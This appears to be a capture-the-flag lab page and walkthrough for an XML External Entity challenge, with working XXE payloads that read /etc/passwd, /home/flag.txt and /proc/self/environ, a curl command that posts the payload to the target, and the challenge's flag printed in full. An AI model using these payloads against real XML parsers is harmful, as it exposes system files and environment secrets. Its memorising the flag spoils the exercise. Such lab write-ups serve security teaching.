Start the machine, hack the system, and find the hidden flags to complete this challenge and earn points!
XML External Entity (XXE) attacks exploit vulnerable XML parsers that process external entity references. This challenge features a corporate XML document parser with a critical XXE vulnerability that allows file disclosure attacks through external entity injection.
<target-ip>:80 to view the challenge presentation page<target-ip>:8080The vulnerable parser implementation uses:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE document [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<document>
<title>XXE Test</title>
<content>&xxe;</content>
</document><target-ip>:8080 or send a POST request to /parseBased on the challenge structure and common CTF patterns, the flag is located at /home/flag.txt. This is confirmed by:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE document [
<!ENTITY flag SYSTEM "file:///home/flag.txt">
]>
<document>
<title>Flag Retrieval</title>
<content>&flag;</content>
</document>curl -X POST -H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE document [<!ENTITY flag SYSTEM "file:///home/flag.txt">]><document><title>Flag Retrieval</title><content>&flag;</content></document>' \
<target-ip>:8080/parse6d995aed-e420-4c06-9191-02513421c1a9For further exploration and learning, you can test additional XXE vectors:
# Read application source code
<!ENTITY app SYSTEM "file:///app/app.py">
# Read system hosts file
<!ENTITY hosts SYSTEM "file:///etc/hosts">
# Read environment variables
<!ENTITY env SYSTEM "file:///proc/self/environ">
# Read process information
<!ENTITY cmdline SYSTEM "file:///proc/self/cmdline">Enter your email to continue
Choose a username to get started
We've sent a 9-character code to your email